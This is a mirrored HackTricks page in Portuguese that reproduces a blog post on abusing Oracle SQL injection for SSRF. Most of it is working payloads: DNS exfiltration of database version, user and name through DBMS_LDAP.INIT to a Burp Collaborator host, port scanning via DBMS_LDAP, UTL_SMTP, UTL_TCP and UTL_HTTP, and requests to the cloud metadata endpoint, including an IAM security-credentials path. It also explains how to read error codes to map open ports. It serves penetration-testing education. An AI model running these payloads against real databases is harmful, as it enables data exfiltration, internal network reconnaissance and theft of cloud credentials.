mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
146 lines
8.1 KiB
Markdown
146 lines
8.1 KiB
Markdown
# Injeção Oracle
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
**Sirva este post uma cópia da máquina do tempo do post deletado de [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
|
|
|
|
## SSRF
|
|
|
|
Usar o Oracle para fazer requisições HTTP e DNS fora de banda está bem documentado, mas como um meio de exfiltrar dados SQL em injeções. Sempre podemos modificar essas técnicas/funções para fazer outras SSRF/XSPA.
|
|
|
|
Instalar o Oracle pode ser realmente doloroso, especialmente se você quiser configurar uma instância rápida para testar comandos. Meu amigo e colega da [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me apontou para [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitiu configurar uma instância em uma máquina Ubuntu t2.large da AWS e Docker.
|
|
|
|
Eu executei o comando docker com a flag `--network="host"` para que eu pudesse imitar o Oracle como uma instalação nativa com acesso total à rede, durante o curso deste post no blog.
|
|
```
|
|
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
|
```
|
|
#### Pacotes Oracle que suportam uma especificação de URL ou de Nome de Host/Número da Porta <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
|
|
|
Para encontrar pacotes e funções que suportam uma especificação de host e porta, fiz uma pesquisa no [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Especificamente,
|
|
```
|
|
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
|
|
```
|
|
A pesquisa retornou os seguintes resultados (nem todos podem ser usados para realizar rede externa)
|
|
|
|
- DBMS_NETWORK_ACL_ADMIN
|
|
- UTL_SMTP
|
|
- DBMS_XDB
|
|
- DBMS_SCHEDULER
|
|
- DBMS_XDB_CONFIG
|
|
- DBMS_AQ
|
|
- UTL_MAIL
|
|
- DBMS_AQELM
|
|
- DBMS_NETWORK_ACL_UTILITY
|
|
- DBMS_MGD_ID_UTL
|
|
- UTL_TCP
|
|
- DBMS_MGWADM
|
|
- DBMS_STREAMS_ADM
|
|
- UTL_HTTP
|
|
|
|
Essa pesquisa rudimentar obviamente ignora pacotes como `DBMS_LDAP` (que permite passar um nome de host e número de porta) como [a página de documentação](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) simplesmente aponta para um [local diferente](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Portanto, pode haver outros pacotes Oracle que podem ser abusados para fazer solicitações externas que eu possa ter perdido.
|
|
|
|
De qualquer forma, vamos dar uma olhada em alguns dos pacotes que descobrimos e listamos acima.
|
|
|
|
**DBMS_LDAP.INIT**
|
|
|
|
O pacote `DBMS_LDAP` permite o acesso a dados de servidores LDAP. A função `init()` inicializa uma sessão com um servidor LDAP e aceita um nome de host e número de porta como argumento.
|
|
|
|
Essa função já foi documentada anteriormente para mostrar a exfiltração de dados via DNS, como abaixo
|
|
```
|
|
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
|
|
```
|
|
No entanto, dado que a função aceita um nome de host e um número de porta como argumentos, você pode usar isso para funcionar como um scanner de portas também.
|
|
|
|
Aqui estão alguns exemplos
|
|
```
|
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
|
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
|
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
|
```
|
|
Um `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` mostra que a porta está fechada enquanto um valor de sessão aponta para a porta estando aberta.
|
|
|
|
**UTL_SMTP**
|
|
|
|
O pacote `UTL_SMTP` é projetado para enviar e-mails via SMTP. O exemplo fornecido no [site de documentação da Oracle mostra como você pode usar este pacote para enviar um e-mail](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Para nós, no entanto, o interessante é a capacidade de fornecer uma especificação de host e porta.
|
|
|
|
Um exemplo simples é mostrado abaixo com a função `UTL_SMTP.OPEN_CONNECTION`, com um tempo limite de 2 segundos.
|
|
```
|
|
DECLARE c utl_smtp.connection;
|
|
BEGIN
|
|
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
|
|
END;
|
|
```
|
|
|
|
```
|
|
DECLARE c utl_smtp.connection;
|
|
BEGIN
|
|
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
|
|
END;
|
|
```
|
|
Um `ORA-29276: transfer timeout` mostra que a porta está aberta, mas nenhuma conexão SMTP foi estabelecida, enquanto um `ORA-29278: SMTP transient error: 421 Service not available` mostra que a porta está fechada.
|
|
|
|
**UTL_TCP**
|
|
|
|
O pacote `UTL_TCP` e seus procedimentos e funções permitem [comunicação baseada em TCP/IP com serviços](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Se programado para um serviço específico, este pacote pode facilmente se tornar uma forma de acesso à rede ou realizar solicitações completas do lado do servidor, pois todos os aspectos de uma conexão TCP/IP podem ser controlados.
|
|
|
|
O exemplo [no site de documentação da Oracle mostra como você pode usar este pacote para fazer uma conexão TCP bruta para buscar uma página da web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificá-lo um pouco mais e usá-lo para fazer solicitações à instância de metadados, por exemplo, ou a um serviço TCP/IP arbitrário.
|
|
```
|
|
set serveroutput on size 30000;
|
|
SET SERVEROUTPUT ON
|
|
DECLARE c utl_tcp.connection;
|
|
retval pls_integer;
|
|
BEGIN
|
|
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
|
|
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
|
|
retval := utl_tcp.write_line(c);
|
|
BEGIN
|
|
LOOP
|
|
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
|
|
END LOOP;
|
|
EXCEPTION
|
|
WHEN utl_tcp.end_of_input THEN
|
|
NULL;
|
|
END;
|
|
utl_tcp.close_connection(c);
|
|
END;
|
|
/
|
|
```
|
|
|
|
```
|
|
DECLARE c utl_tcp.connection;
|
|
retval pls_integer;
|
|
BEGIN
|
|
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
|
|
retval := utl_tcp.write_line(c);
|
|
BEGIN
|
|
LOOP
|
|
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
|
|
END LOOP;
|
|
EXCEPTION
|
|
WHEN utl_tcp.end_of_input THEN
|
|
NULL;
|
|
END;
|
|
utl_tcp.close_connection(c);
|
|
END;
|
|
```
|
|
Interessantemente, devido à capacidade de criar solicitações TCP brutas, este pacote também pode ser usado para consultar o serviço de meta-dados da Instância de todos os provedores de nuvem, uma vez que o tipo de método e cabeçalhos adicionais podem ser passados dentro da solicitação TCP.
|
|
|
|
**UTL_HTTP e Solicitações Web**
|
|
|
|
Talvez a técnica mais comum e amplamente documentada em todos os tutoriais de Injeção SQL Oracle Out of Band seja o pacote [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Este pacote é definido pela documentação como - `O pacote UTL_HTTP faz chamadas do Protocolo de Transferência de Hipertexto (HTTP) a partir de SQL e PL/SQL. Você pode usá-lo para acessar dados na Internet via HTTP.`
|
|
```
|
|
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
|
```
|
|
Você poderia, adicionalmente, usar isso para realizar uma varredura de portas rudimentar também com consultas como
|
|
```
|
|
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
|
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
|
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
|
```
|
|
Um `ORA-12541: TNS:no listener` ou um `TNS:operation timed out` é um sinal de que a porta TCP está fechada, enquanto um `ORA-29263: HTTP protocol error` ou dados são um sinal de que a porta está aberta.
|
|
|
|
Outro pacote que usei no passado com sucesso variado é o [`GETCLOB()` método do tipo abstrato `HTTPURITYPE` do Oracle](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) que permite interagir com uma URL e fornece suporte para o protocolo HTTP. O método `GETCLOB()` é usado para buscar a resposta GET de uma URL como um [tipo de dado CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|